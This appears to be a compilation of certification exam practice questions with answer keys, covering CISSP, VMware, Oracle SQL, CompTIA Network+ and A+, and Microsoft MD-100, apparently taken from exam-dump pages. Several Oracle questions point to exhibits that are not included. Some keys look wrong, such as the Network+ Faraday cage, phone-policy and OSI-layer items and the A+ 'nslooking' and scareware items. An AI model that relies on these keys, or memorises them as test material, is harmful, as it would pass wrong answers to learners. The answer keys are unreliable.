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QUESTION 1
Packet Filtering Firewalls can also enable access for:
A. only authorized application port or service numbers.
B. only unauthorized application port or service numbers.
C. only authorized application port or ex-service numbers.
D. only authorized application port or service integers.
Correct Answer: A

Firewall rules can be used to enable access for traffic to specific ports or services. “Service numbers” is rather stilted
English but you may encounter these types of wordings on the actual exam — don\\’t let them confuse you.
“Only unauthorized application port or service numbers” is incorrect. Unauthorized ports/services would be blocked in a
properly installed a firewall rather than permitting access.
“Only authorized application port or ex-service numbers” is incorrect. “Ex-service” numbers is a nonsense term meant to
distract you.
“Only authorized application port or service integers.” While service numbers are in fact integers, the more usual (and
therefore better) the answer is either service or “service number.”
References
CBK, p. 464
AIO3, pp. 482 484

 

QUESTION 2
Which of the following is an example of a connectionless communication protocol?
A. UDP
B. X.25
C. Packet switching
D. TCP
Correct Answer: A

UDP is an example of a connectionless communication protocol, wherein no connection needs to be established before
data can be exchanged.
In telecommunications, connectionless describes communication between two network endpoints in which a message
can be sent from one endpoint to another without prior arrangement. The device at one end of the communication
transmits data addressed to the other, without first ensuring that the recipient is available and ready to receive the data.
Some protocols allow for error correction by requested retransmission. Internet Protocol (IP) and User Datagram
Protocol
(UDP) are connectionless protocols.
Connectionless protocols are also described as stateless because the endpoints have no protocol- defined way to
remember where they are in a “conversation” of message exchanges.
List of connectionless protocols
Hypertext Transfer Protocol
IP
UDP
ICMP
IPX
TIPC
NetBEUI
References:
KRUTZ, Ronald L., and VINES, Russel D., The CISSP Prep Guide: Mastering the Ten Domains of Computer Security,
John Wiley and Sons, 2001, Chapter 3: Telecommunications and Network Security (page 86).
and
https://secure.wikimedia.org/wikipedia/en/wiki/Connectionless_protocol

 

QUESTION 3
Related to information security, the guarantee that the message sent is the message received with the assurance that
the message was not intentionally or unintentionally altered is an example of which of the following?
A. integrity
B. confidentiality
C. availability
D. identity
Correct Answer: A

Integrity is the guarantee that the message sent is the message received, and that the message was not intentionally or
unintentionally altered.
Source: KRUTZ, Ronald L., and VINES, Russel D., The CISSP Prep Guide: Mastering the Ten Domains of Computer
Security, 2001, John Wiley and Sons, Page 60.

QUESTION 4
Which backup method copies only files that have changed since the last full backup, but does not clear the archive bit?
A. Differential backup method.
B. Full backup method.
C. Incremental backup method.
D. Tape backup method.
Correct Answer: A

One of the key items to understand regarding backup is the archive bit. The archive bit is used to determine what files
have been backuped already. The archive bit is set if a file is modified or a new file is created, this indicates to the
backup program that it has to be saved on the next backup. When a full backup is performed the archive bit will be
cleared indicating that the files were backup. This allows backup programs to do an incremental or differential backup
that only backs up the changes to the filesystem since the last time the bit was cleared
Full Backup (or Reference Backup)
A Full backup will backup all the files and folders on the drive every time you run the full backup. The archive bit is
cleared on all files indicating they were all backuped.
Advantages:
All files from the selected drives and folders are backed up to one backup set.
In the event you need to restore files, they are easily restored from the single backup set.
Disadvantages:
A full backup is more time consuming than other backup options.
Full backups require more disk, tape, or network drive space.
Incremental Backup An incremental backup provides a backup of files that have changed or are new since the last incremental backup.
For the first incremental backup, all files in the file set are backed up (just as in a full backup). If you use the same file set to perform an incremental backup later, only the files that have changed are backed up. If you use the same file set for a third backup, only the files that have changed since the second backup are backed up, and so on.
Incremental backup will clear the archive bit.
Advantages:
Backup time is faster than full backups.
Incremental backups require less disk, tape, or network drive space.
You can keep several versions of the same files on different backup sets.
Disadvantages:
In order to restore all the files, you must have all of the incremental backups available.
It may take longer to restore a specific file since you must search more than one backup set to find the latest version of
a file. Differential Backup
A differential backup provides a backup of files that have changed since a full backup was performed. A differential
backup typically saves only the files that are different or new since the last full backup. Together, a full backup and a
differential backup include all the files on your computer, changed and unchanged.
Differential backup does not clear the archive bits.
Advantages:
Differential backups require even less disk, tape, or network drive space than incremental backups.
Backup time is faster than full or incremental backups.
Disadvantages:
Restoring all your files may take considerably longer since you may have to restore both the last differential and full
backup.
Restoring an individual file may take longer since you have to locate the file on either the differential or full backup.
For more info see: http://support.microsoft.com/kb/136621
Source: KRUTZ, Ronald L., and VINES, Russel D., The CISSP Prep Guide: Mastering the Ten Domains of Computer
Security, 2001, John Wiley and Sons, Page 69.

 

QUESTION 5
Which of the following backup methods is most appropriate for off-site archiving?
A. Incremental backup method
B. Off-site backup method
C. Full backup method
D. Differential backup method
Correct Answer: C

The full backup makes a complete backup of every file on the system every time it is run. Since a single backup set is
needed to perform a full restore, it is appropriate for off-site archiving.
Source: KRUTZ, Ronald L., and VINES, Russel D., The CISSP Prep Guide: Mastering the Ten Domains of Computer
Security, John Wiley, and Sons, 2001, Chapter 3: Telecommunications and Network Security (page 69).

QUESTION 6
What is RAD?
A. A development methodology
B. A project management technique
C. A measure of system complexity
D. Risk-assessment diagramming
Correct Answer: A

RAD stands for Rapid Application Development.
RAD is a methodology that enables organizations to develop strategically important systems faster while reducing development costs and maintaining quality.
RAD is a programming system that enables programmers to quickly build working programs. In general, RAD systems provide a number of tools to help build graphical user interfaces that would normally take a
large development effort.
Two of the most popular RAD systems for Windows are Visual Basic and Delphi. Historically, RAD systems have tended
to emphasize reducing development time, sometimes at the expense of generating in-efficient executable code.
Nowadays, though, many RAD systems produce extremely faster code that is optimized. Conversely, many traditional programming environments now come with a number of visual tools to aid development.
Therefore, the line between RAD systems and other development environments has become blurred.
Reference:
Information Systems Audit and Control Association, Certified Information Systems Auditor 2002 review manual, chapter
6: Business Application System Development, Acquisition, Implementation and Maintenance (page 307)
http://www.webopedia.com

 

QUESTION 7
What is called a sequence of characters that is usually longer than the allotted number for a password?
A. passphrase
B. cognitive phrase
C. anticipated phrase
D. Real phrase
Correct Answer: A

A passphrase is a sequence of characters that is usually longer than the allotted number for a password.
Source: KRUTZ, Ronald L., and VINES, Russel D., The CISSP Prep Guide: Mastering the Ten Domains of Computer
Security, 2001, John Wiley and Sons, page 37.

 

QUESTION 8
Which of the following centralized access control mechanisms is the least appropriate for mobile workers accessing the
corporate network over analog lines?
A. TACACS
B. Call-back
C. CHAP
D. RADIUS
Correct Answer: B

Call-back allows for a distant user connecting into a system to be called back at a number already listed in a database
of trusted users. The disadvantage of this system is that the user must be at a fixed location whose phone number is
known to the authentication server. Being mobile workers, users are accessing the system from multiple locations,
making call-back inappropriate for them.
Source: KRUTZ, Ronald L., and VINES, Russel D., The CISSP Prep Guide: Mastering the Ten Domains of Computer
Security, John Wiley, and Sons, 2001, Chapter 2: Access control systems (page 44).

 

QUESTION 9
Which of the following is considered the weakest link in a security system?
A. People
B. Software
C. Communications
D. Hardware
Correct Answer: A

The Answer: People. The other choices can be strengthened and counted on (For the most part) to remain consistent if
properly protected. People are fallible and unpredictable. Most security intrusions are caused by employees. People get
tired, careless, and greedy. They are not always reliable and may falter in following defined guidelines and best
practices. Security professionals must install adequate prevention and detection controls and properly train all systems
users Proper hiring and firing practices can eliminate certain risks. Security Awareness training is key to ensuring
people are aware of risks and their responsibilities.
The following answers are incorrect: Software. Although software exploits are a major threat and cause concern,
people are the weakest point in a security posture. The software can be removed, upgraded, or patched to reduce risk.
Communications. Although many attacks from inside and outside an organization use communication methods such as
the network infrastructure, this is not the weakest point in a security posture. Communications can be monitored,
devices installed, or upgraded to reduce risk and react to attack attempts. Hardware. Hardware components can be a
weakness in a security posture, but they are not the weakest link of the choices provided. Access to hardware can be
minimized by such measures as installing locks and monitoring access in and out of certain areas.
The following reference(s) were/was used to create this question:
Shon Harris AIO v.3 P.19, 107-109
ISC2 OIG 2007, p.51-55

 

QUESTION 10
Which of the following is the most reliable, secure means of removing data from magnetic storage media such as a
magnetic tape, or a cassette?
A. Degaussing
B. Parity Bit Manipulation
C. Zeroization
D. Buffer overflow
Correct Answer: A

A “Degausser (Otherwise known as a Bulk Eraser) has the main function of reducing to near zero the magnetic flux
stored in the magnetized medium. Flux density is measured in Gauss or Tesla. The operation is speedier than
overwriting and done in one short operation. This is achieved by subjecting the subject in bulk to a series of fields of
alternating polarity and gradually decreasing strength.
The following answers are incorrect: Parity Bit Manipulation. Parity has to do with disk error detection, not data removal.
A bit or series of bits appended to a character or block of characters to ensure that the information received is the same
as the information that was sent.
Zeroization. Zeroization involves overwriting data to sanitize it. It is time-consuming and not foolproof. The potential for
restoration of data does exist with this method. Buffer overflow. This is a detractor. Although many Operating Systems
use a disk buffer to temporarily hold data read from disk, its primary purpose has no connection to data removal. An
overflow goes outside the constraints defined for the buffer and is a method used by an attacker to attempt access to a system. The following reference(s) were/was used to create this question:
Shon Harris AIO v3. pg 908 Reference: What is degaussing.

 

QUESTION 11
What level of assurance for a digital certificate verifies a user\\’s name, address, social security number, and other
information against a credit bureau database?
A. Level 1/Class 1
B. Level 2/Class 2
C. Level 3/Class 3
D. Level 4/Class 4
Correct Answer: B

Users can obtain certificates with various levels of assurance. Here is a list that describes each of them:
–
Class 1/Level 1 for individuals, intended for email, no proof of identity
For example, level 1 certificates verify electronic mail addresses. This is done through the use of a personal information
number that a user would supply when asked to register. This level of the certificate may also provide a name as well as an
electronic mail address; however, it may or may not be a genuine name (i.e., it could be an alias). This proves that a
human being will reply back if you send an email to that name or email address.
–
Class 2/Level 2 is for organizations and companies for which proof of identity is required
Level 2 certificates verify a user\\’s name, address, social security number, and other information against a credit bureau
database.
– Class 3/Level 3 is for servers and software signing, for which independent verification and checking of identity and
authority is done by the issuing certificate authority
Level 3 certificates are available to companies. This level of the certificate provides photo identification to accompany the
other items of information provided by a level 2 certificate.
–
Class 4 for online business transactions between companies
–
Class 5 for private organizations or governmental security References:
http://en.wikipedia.org/wiki/Digital_certificate VeriSign introduced the concept of classes of digital certificates:
Also, see:
Source: TIPTON, Harold F., and KRAUSE, Micki, Information Security Management Handbook, 4th edition (volume 1),
2000, CRC Press, Chapter 3, Secured Connections to External Networks (page 54).

 

QUESTION 12
What do the ILOVEYOU and Melissa virus attacks have in common?
A. They are both denial-of-service (DOS) attacks.
B. They have nothing in common.
C. They are both masquerading attacks.
D. They are both social engineering attacks.
Correct Answer: C

While a masquerading attack can be considered a type of social engineering, the Melissa and ILOVEYOU viruses are
examples of masquerading attacks, even if it may cause some kind of denial of service due to the webserver being
flooded with messages. In this case, the receiver confidently opens a message coming from a trusted individual, only to
find that the message was sent using the trusted party\\’s identity. Source: HARRIS, Shon, All-In-One CISSP
Certification Exam Guide, McGraw-Hill/Osborne, 2002, Chapter
10: Law, Investigation, and Ethics (page 650).

 

QUESTION 13
What is electronic vaulting?
A. Information is backed up to tape on an hourly basis and is stored in an on-site vault.
B. Information is backed up to tape on a daily basis and is stored in an on-site vault.
C. Transferring electronic journals or transaction logs to an off-site storage facility
D. A transfer of bulk information to a remote central backup facility.
Correct Answer: D

Electronic vaulting is defined as “a method of transferring bulk information to off-site facilities for backup purposes”.
Remote Journaling is the same concept as electronic vaulting but has to do with journals and transaction logs, not the
actual files. Source: HARRIS, Shon, All-In-One CISSP Certification Exam Guide, McGraw-Hill/Osborne, 2002, chapter
9: Disaster Recovery and Business continuity (page 619).

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QUESTION 1
Which server sits in the DMZ and allows external devices to connect to the Horizon Mirage service?
A. Mirage Server
B. Mirage Branch Reflector
C. Mirage Management Server
D. Mirage Gateway Server
Correct Answer: D
Reference: https://blogs.vmware.com/consulting/tag/horizon-mirage

 

QUESTION 2
Which vSphere component is used to manage multiple hosts in a cluster?
A. ESXI
B. vDS
C. vCenter Server
D. VUM
Correct Answer: C

 

QUESTION 3
At which layer does VMware vSAN provide redundancy for Virtual Machine (VM) files?
A. At host storage controller (RAID) only.
B. In VMware vSAN only.
C. In VMware vSAN and virtual machine (VM) storage policies.
D. At host storage controller (RAID) and VMware vSAN.
Correct Answer: C
https://docs.vmware.com/en/VMware-Validated-Design/4.0/com.vmware.vvd.sddcdesign.doc/GUID-6F009138-C06B-4CF0-89A4-9FFECA22F7FE.html

 

QUESTION 4
Which feature in VMware vSphere ensures zero downtime and prevents data loss when a physical server fails?
A. vSphere Data Protection
B. High Availability
C. Fault Tolerance
D. vSphere Replication
Correct Answer: C
In the event of server failures, VMware vSphere Fault Tolerance (vSphere FT) provides continuous availability for
applications with as many as four virtual CPUs. It does so by creating a live shadow instance of a VM that is always up
to date with the primary VM. In the event of a hardware outage, vSphere FT automatically triggers failover, ensuring
zero downtime and preventing data loss. Like vSphere HA, it protects against hardware failure but completely eliminates
downtime with instantaneous cutover and recovery. After failover, vSphere FT automatically creates a new, secondary
VM to deliver continuous protection for the application Reference: https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/techpaper/vmware-vcenter-server-6-0-availability-guide-white-paper.pdf

 

QUESTION 5
In which form does Virtual SAN store and manage data?
A. Files
B. Disks
C. Objects
D. Blocks
Correct Answer: C
Virtual SAN stores and manages data in the form of flexible data containers called objects. An object is a logical volume
that has its data and metadata distributed and accessed across the entire cluster. Reference: https://docs.vmware.com/en/VMware-vSphere/5.5/com.vmware.vsphere.storage.doc/GUID-2B3B720F-0A7E-4B4B-883F-85A39C1A6C5A.html

 

QUESTION 6
A company wants to implement a software-defined network solution with minimal impact on the existing environment.
What additional hardware, if any, is required when implementing VMware NSX?
A. A stateful inspection Firewall to take advantage of NSX\\’s built-in Firewall protection
B. None. NSX is a completely non-disruptive solution.
C. Special VLAN configurations for accessing NSX.
D. At least two Layer 3 switches that must be converted to trunk mode.
Correct Answer: B
NSX is a completely non-disruptive solution which can be deployed on any IP network from any vendor ? both existing
traditional networking models and next-generation fabric architectures. The physical network infrastructure already in
place is all that is required to deploy a software-defined data center with NSX.
Reference: https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/products/nsx/vmw-nsx-networkvirtualization-design-guide.pdf

 

QUESTION 7
A large bank wants to automate their infrastructure provisioning. They need a portal that provides the ability to check
the health of a virtual machine and perform day-two actions, such as power-on and power-off.
Which product in the vRealize Suite offers this functionality?
A. vRealize Orchestrator
B. vRealize Operations Manager
C. vRealize Automation
D. vRealize Business
Correct Answer: C

 

QUESTION 8
Which component in VMware NSX provides L2 bridging from the logical networking space VXLAN to the physical
space?
A. NSX virtual switch
B. Logical Router control VM
C. Logical router
D. NSX Edge virtual appliance
Correct Answer: C
The logical routers can provide L2 bridging from the logical networking space (VXLAN) to the physical network (VLAN).
Reference: https://docs.vmware.com/en/VMware-NSX-for-vSphere/6.3/nsx_63_admin.pdf

 

QUESTION 9
Which two statements are true for vRealize Business for Cloud? (Choose two.)
A. It provides costing for non-vSphere workload by directly integrating with them.
B. It provides public cloud costing, consumption analysis, and pricing.
C. It collects performance data through the agents that are deployed in the cloud workloads.
D. It provides costing for native services hosted on AWS and Azure cloud.
E. It provides Automatic private cloud metering, costing, and pricing.
Correct Answer: BE
Reference: https://www.vmware.com/products/vrealize-business-for-cloud.html

 

QUESTION 10
A supervisor wants employees to seamlessly log into remote applications without having to enter their credentials
multiple times. What is required to support true Single Sign-On (SSO)?
A. Horizon 7 and Windows Server 2016
B. Horizon 7 and any Linux Operating System
C. Only Horizon 7 is required
D. Horizon 7 and Identity Manager
Correct Answer: D
Reference: https://docs.vmware.com/en/VMware-Horizon-7/7.3/horizon-architecture-planning/GUIDE8152572-1B10-42C2-B605-1EF738AC2D20.html

 

QUESTION 11
Which two statements about VMware Cross-Cloud Architecture are true? (Choose two.)
A. Deployment of services across clouds is manual.
B. Works only on certain underlying clouds or hypervisors.
C. Provides the ability to run, manage, connect, and secure applications across clouds.
D. Provides cloud freedom, but not control.
E. Provides the freedom to innovate across both private clouds and public clouds.
Correct Answer: CE

 

QUESTION 12
VMware offers vRealize Suite in editions that provide different functionality at different points, making it easy to license
VMware vRealize Suite to meet a customer\\’s specific requirements and use cases. Which three are vRealize Suite
editions? (Choose three.)
A. Enterprise Plus
B. Foundations
C. Advanced
D. Enterprise
E. Professional
F. Standard
Correct Answer: CDF
Reference: https://www.vmware.com/products/vrealize-suite.html

 

QUESTION 13
What are the three vRealize Suite editions offered by VMware?
A. Standard, Advanced, Enterprise
B. Standard, Enterprise, Enterprise Plus
C. Foundation, Standard, Enterprise
D. Advanced, Enterprise, Enterprise Plus
Correct Answer: A
VMware vRealize Suite cloud management platform is available in three editions: Standard, Advanced, and Enterprise.
New portable licensing allows customers to manage multi-vendor private and public clouds with common licensing.
Reference: https://www.vmware.com/products/vrealize-suite.html

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QUESTION 1
Examine the description of the BOOKS_TRANSACTIONS table:

Examine this partial SQL statement:
SELECT * FROM books_transactions
Which two WHERE conditions give the same result?
A. WHERE borrowed_date = SYSDATE AND (transaction_type = `RM\\’ OR member_id IN (`A101\\’, `A102\\’));
B. WHERE (borrowed_date = SYSDATE AND transaction_type = `RM\\’) OR member_id IN (`A101\\’, `A102\\’);
C. WHERE borrowed_date = SYSDATE AND (transaction_type = `RM\\’ AND (member_id = A101\\’ OR member_id =
`A102\\’));
D. WHERE borrowed_date = SYSDATE AND transaction_type = `RM\\’ OR member_id IN (`A101\\’, `A102\\’);
E. WHERE borrowed_date = SYSDATE AND (transaction_type = `RM\\’ AND member_id = `A101\\’ OR member_id =
`A102\\’);
Correct Answer: BC

 

QUESTION 2
Which three statements are true regarding subqueries? (Choose three.)
A. The ORDER BY Clause can be used in a subquery.
B. A subquery can be used in the FROM clause of a SELECT statement.
C. If a subquery returns NULL, the main query may still return rows.
D. A subquery can be placed in a WHERE clause, a GROUP BY clause, or a HAVING clause.
E. Logical operators, such as AND, OR, and NOT, cannot be used in the WHERE clause of a subquery.
Correct Answer: ABC

 

QUESTION 3
Which three statements are true reading subqueries? (Choose three.)
A. A-Main query can have many subqueries.
B. A subquery can have more than one main query.
C. The subquery and the main query must retrieve the date from the same table.
D. The subquery and main query can retrieve data from different tables.
E. Only one column or expression can be compared between the subquery and main query.
F. Multiple columns or expressions can be compared between the subquery and main query.
Correct Answer: ADF

 

QUESTION 4
A non-correlated subquery can be defined as __________. (Choose the best answer.)
A. A set of one or more sequential queries in which generally the result of the inner query is used as the search value in
the outer query.
B. A set of sequential queries, all of which must return values from the same table.
C. A set of sequential queries, all of which must always return a single value.
D. A SELECT statement that can be embedded in a clause of another SELECT statement only.
Correct Answer: A

 

QUESTION 5
Which two statements are true regarding the execution of the correlated subqueries? (Choose two.)
A. The nested query executes after the outer query returns the row.
B. The nested query executes first and then the outer query executes.
C. The outer query executes only once for the result returned by the inner query.
D. Each row returned by the outer query is evaluated for the results returned by the inner query.
Correct Answer: AD

 

QUESTION 6
You issue the following command to drop the PRODUCTS table:
SQL > DROP TABLE products;
Which three statements are true about the implication of this command? (Choose three.)
A. All data along with the table structure is deleted.
B. A pending transaction in the session is committed.
C. All indexes on the table remain but they are invalidated.
D. All views and synonyms on the table remain but they are invalidated.
E. All data in the table is deleted but the table structure remains.
Correct Answer: ABD

 

QUESTION 7
Examine the structure of the two tables.

Which two queries execute successfully? (Choose two.)

A. Option A
B. Option B
C. Option C
D. Option D
E. Option E
Correct Answer: CD

 

QUESTION 8
Which two statements are true about a full outer join?
A. It includes rows that are returned by an inner join.
B. It returns only unmatched rows from both tables being joined.
C. It includes rows that are returned by a Cartesian product.
D. It returns matched and unmatched rows from both tables being joined.
E. The Oracle joins operator (+) must be used on both sides of the join condition in the WHERE clause.
Correct Answer: AD
Reference: https://www.w3resource.com/oracle/joins/oracle-full-outer-join.php

 

QUESTION 9
The SQL statements executed in a user session are as follows:

Which two statements describe the consequences of issuing the ROLLBACK TO SAVEPOINT a command in the
session? (Choose two.)
A. The rollback generates an error.
B. No SQL statements are rolled back.
C. Only the DELETE statements are rolled back.
D. Only the second DELETE statement is rolled back.
E. Both the DELETE statements and the UPDATE statement are rolled back.
Correct Answer: AB

 

QUESTION 10
Examine the structure of the SHIPMENTS table:

Which statement is true regarding the above commands?
A. Both execute successfully and give correct results.
B. Only the first query executes successfully but gives the wrong result.
C. Only the first query executes successfully and gives the correct result.
D. Only the second query executes successfully but gives the wrong result.
E. Only the second query executes successfully and gives the correct result.
Correct Answer: C

 

QUESTION 11
Examine the description of the PRODUCT_INFORMATION table:

Which query retrieves the number of products with a full list price?
A. SELECT COUNT (DISTINCT list_price) FROM product_information WHERE list_price IS NULL;
B. SELECT COUNT (list_price) FROM product_information WHERE list_price IS NULL;
C. SELECT COUNT (list_price) FROM product_information WHERE list_price = NULL;
D. SELECT COUNT(NVL(list_price, 0)) FROM product_information WHERE list_price IS NULL;
Correct Answer: D
Reference: https://www.oracletutorial.com/oracle-aggregate-functions/oracle-avg/

 

QUESTION 12
Which statement is true about Enterprise Manager (EM) express in Oracle Database 12c?
A. By default, EM express is available for a database after database creation.
B. You can use EM express to manage multiple databases running on the same server.
C. You can perform basic administrative tasks for pluggable databases by using the EM express interface.
D. You cannot start-up or shut down a database Instance by using EM express.
E. You can create and configure pluggable databases by using EM express.
Correct Answer: A

 

QUESTION 13
Which two statements best describe the benefits of using the WITH clause? (Choose two.)
A. It can improve the performance of a large query by storing the result of a query block having the WITH clause in the
session\\’s temporary tablespace.
B. It enables sessions to reuse the same query block in a SELECT statement if it occurs more than once in a complex
query.
C. It enables sessions to store a query block permanently in memory and use it to create complex queries.
D. It enables sessions to store the results of a query permanently.
Correct Answer: AB

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Latest Updates CompTIA n10-007 Exam Practice Questions and Answers

QUESTION 1

169.254.0.100 is an IP address that would MOST likely come from which of the following?
A. CIDR
B. DHCP
C. APIPA
D. DNS

Correct Answer: C

QUESTION 2

Which of the following technologies is required to allow all ports of a single private IP to be publically accessible via a
single public IP?
A. NAT
B. RIP
C. PAT
D. ACL

Correct Answer: C

QUESTION 3

A network engineer wants to segment the network into multiple broadcast domains. Which of the following devices
would allow for communication between the segments?
A. Layer 2 switch
B. Layer 3 switch
C. Bridge
D. Load balancer

Correct Answer: B

QUESTION 4

A bookstore uses a Faraday cage to comply with credit card regulations. Customers report that their cellular phones
have no signal when they are in the bookstore. Which of the following is the MOST likely cause?
A. The Faraday cage is creating interference within the bookstore.
B. The Faraday cage prevents access by redirecting signals.
C. The Faraday cage is creating latency on the cellular network.
D. The Faraday cage is creating attenuation of the cellular network.

Correct Answer: B

QUESTION 5

Jeff, a user, is having a problem with a POTS line. Which of the following tools would Jeff use to make sure the phone
lines have a dial tone?
A. Loopback plugs
B. Butt set
C. Cable certifier
D. Toner probe

Correct Answer: B

QUESTION 6

Which of the following WAP security features offers the STRONGEST encryption?
A. WPA
B. WPA2
C. WEP
D. Hidden SSID

Correct Answer: B

QUESTION 7

A Windows server has a problem after booting up. Kim, a technician, should immediately check the:
A. history logs.
B. cron logs.
C. application logs.
D. system logs.

Correct Answer: D

QUESTION 8

A user reports difficulties connecting a PC to a wired network. The PC connects to an IP phone, which is working
correctly. A network technician can verify that other devices successfully connect to the phone. At which of the following
layers of the OSI model is the problem MOST likely located?
A. Network
B. Physical
C. Transport
D. Application

Correct Answer: A

QUESTION 9

Matt, an administrator, notices a flood fragmented packet and retransmits from an email server. After disabling the TCP
offload setting on the NIC, Matt sees normal traffic with packets flowing in sequence again. Which of the following
utilities was he MOST likely using to view this issue?
A. Spam filter
B. Protocol analyzer
C. Web application firewall
D. Load balancer

Correct Answer: B

QUESTION 10

An employee wishes to use a personal cell phone for work-related purposes, including storage of sensitive company
data, during long business trips. Which of the following is needed to protect BOTH the employee and the company?
A. An NDA ensuring work data stored on the personal phone remains confidential
B. An AUP covering how a personal phone may be used for work matters
C. Consent to monitoring policy covering company audits of the personal phone
D. Real-time remote monitoring of the phone\’s activity and usage

Correct Answer: D

QUESTION 11

A DSL modem connects to the provider\’s network using which of the following authentication techniques?
A. PoE
B. MS-CHAP
C. PPPoE
D. EAP

Correct Answer: C

QUESTION 12

Which of the following devices, if implemented, would result in decreased administration time of an 802.11 network
running centralized authentication services? (Choose two.)
A. VPN concentrator
B. Proxy server
C. Wireless controller
D. RADIUS server
E. Multilayer switch

Correct Answer: CD

QUESTION 13

Kim, the client, has requested a cost-effective network solution to accommodate the ability to reconfigure the office
space as needed. Which networking solution would provide the BEST solution?
A. Private IP Addressing
B. Wireless Access Points
C. Wide Area Networking
D. Virtual Local Area Networks

Correct Answer: B

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CompTIA A+ 220-1001 covers mobile devices, networking technology, hardware, virtualization, and cloud computing and network troubleshooting.

CompTIA A+ 220-1002 covers installing and configuring operating systems, expanded security, software troubleshooting and operational
procedures.

Latest Updates CompTIA 220-1002 Exam Practice Questions and Answers

QUESTION 1

A user has installed a legacy application in Windows 7 and reports that only some of the functionality in it is operational.
Another user is using the same application on a different Windows 7 machine and doesn\’t report those problems.
Which of the following features in Windows 7 may be responsible for this problem?
A. System Protection settings
B. User Account Control
C. Action Center
D. Data Execution Prevention

Correct Answer: B

Reference: http://windows.microsoft.com/en-us/windows7/products/features/user-account- control

QUESTION 2

A user Is unable to access a network share out can access email. A technician has confirmed the user has the
appropriate permissions to access the share. Which of the following commands should the technician use FIRST?
A. ping
B. nslooking
C. net use
D. ipconfig

Correct Answer: B

QUESTION 3

An administrator sets up a wireless device that they will need to manage across the Internet. Which of the following
security measures would BEST prevent unauthorized access to the device from the Internet?
A. Set the channels to wireless 802.11n only
B. Change the default username and password
C. Enable the wireless AP\’s MAC filtering
D. Enable the wireless AP\’s WPA2 security

Correct Answer: B

QUESTION 4

A user who is running Windows XP calls a technician to upgrade the computer to a newer Windows OS. The user states
the computer has only 1GB of RAM and 16GB of hard drive space with a 1,7GHz processor. Which of the following OSs
should the technician recommended to ensure the BEST performance on this computer?
A. Windows 7
B. Windows 8
C. Windows 8.1
D. Windows 10

Correct Answer: A

QUESTION 5

A Linux user report that an application will not open and gives the error only one instance of the application may run at
one time. A root administrator logs on ot the device and opens terminal. Which of the following pairs of tools will be
needed to ensure no other instance of the software are correctly running?
A. Pad and chmod
B. Node and vi
C. Is an chown
D. Ps and kill
E. Op and rm

Correct Answer: D

QUESTION 6

A technician is trying to remove a resilient computer virus. The virus keeps coming back after rebooting the system
because some program or service has locked some of the virus\’ files and is preventing the AV from cleaning the
system. Which of the following is the BEST approach to try and remove the virus while minimizing negative impact to
the system?
A. Use REGSRV32 to deregister the virus DLLs.
B. Run the antivirus after rebooting in safe mode.
C. Use the repair disk and follow the prompts.
D. Use the recovery console to disable all windows services.

Correct Answer: B

QUESTION 7

A technician has replaced several corporate human resources computers and is asked to ensure the information on the
drives cannot be retrieved. Which of the following destruction methods would BEST ensure this data is irretrievable?
A. Overwriting
B. Formatting
C. Shredding
D. Drive wiping

Correct Answer: D

QUESTION 8

Which of the following would a technician use to store memory chips from a laptop safely after an upgrade?
A. Mylar bags
B. Cardboard boxes
C. Antistatic containers
D. Paper envelopes

Correct Answer: C

QUESTION 9

A user\’s corporate email is missing the shared inbox folders that were present before the user went on vacation. The
technician verifies the user is connected to the domain and can still send and receive email. Which of the following is
MOST likely causing the missing folders issue?
A. The Internet security options have changed
B. The operating system updates have changed
C. The network directory permissions have changed
D. The user account permissions have changed

Correct Answer: C

QUESTION 10

A technician receives an end user\’s computer that displays erratic behavior upon startup. When the technician starts
the computer performance is reduced. A window appears on the screen stating a purchase must be made to disinfect
the computer. The technician quarantines the computer and disables System Restore. Which of the following should the
technician do NEXT?
A. Roll back the NIC driver
B. Update and install anti-malware software
C. Configure and enable the email spam filters
D. Verify the security certificate is valid
E. Perform a full system backup

Correct Answer: D

QUESTION 11

A technician logs on to a Linux computer and runs the following command:
ps -aux | grep vi
Which of the following MOST accurately describes the effect of the command?
A. It kills any running programs starting with the letters vi.
B. It opens a list of directories that start with the letters vi.
C. It creates a new file named grep in the current working directory.
D. If finds a list of processes running a text editor.

Correct Answer: D

QUESTION 12

A company recently had a security breach and is now required to increase the security on their workstations. A
technician has been tasked to harden all the workstations on the network. Which of the following should the technician
do?
A. Enable Windows automatic updates
B. Enable screensaver required passwords
C. Enable MAC filtering
D. Enable wireless encryption

Correct Answer: B

Reference: http://windows.microsoft.com/is-is/windows-vista/use-your-windows-password- for-your- screen-saverpassword

QUESTION 13

A technician is cleaning up a warehouse and has several old CRT monitors and UPS units. The technician removes the
batteries from the UPSs and wants to comply with proper disposal techniques. Which of the following should the
technician do NEXT to proceed with disposal of the batteries?
A. Place securely in trash receptacles.
B. Refer to the manufacturer\’s specific usage.
C. Review the material safety data sheet.
D. Conduct an Internet search of disposal techniques.

Correct Answer: C

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If you passed Exam 70-698 before it expired on March 31, 2019, you only need to take MD-101 to earn the Modern Desktop certification. Candidates for this exam are Administrators who deploy, configure, secure, manage, and monitor devices and client applications in an enterprise environment. Candidates manage identity, access, policies, updates, and apps.

As an Administrator, candidates typically collaborate with the Microsoft 365 Enterprise Administrator to design and implement a device strategy that meets the business needs of a modern organization.

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Skills measured

• Deploy Windows (15-20%)
• Manage devices and data (35-40%)
• Configure connectivity (15-20%)
• Maintain Windows (25-30%)

Latest updates Microsoft MD-100 exam practice questions

QUESTION 1
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a computer named Computer1 that runs Windows 10.
You test Windows updates on Computer1 before you make the updates available to other users at your company.
You install a quality update that conflicts with a customer device driver.
You need to remove the update from Computer1.
Solution: From an elevated command prompt, you run the wusa.exe command and specify the /uninstall parameter.
Does this meet the goal?
A. Yes
B. No
Correct Answer: A
References: https://support.microsoft.com/en-us/help/934307/description-of-the-windows-update-standalone-installer-in-windows

QUESTION 2
You need to recommend a solution to monitor update deployments. What should you include in the recommendation?
A. Windows Server Update (WSUS)
B. the Update Management solution in Azure Automation
C. the Update Compliance solution in Azure Log Analytics
D. the Azure Security Center
Correct Answer: C
References: https://docs.microsoft.com/en-us/windows/deployment/update/update-compliance-monitor

QUESTION 3
Your company purchases 20 laptops that use a new hardware platform.
In a test environment, you deploy Windows 10 to the new laptops.
Some laptops frequently generate stop errors.
You need to identify the cause of the issue.
What should you use?
A. Reliability Monitor
B. Task Manager
C. System Configuration
D. Performance Monitor
Correct Answer: A
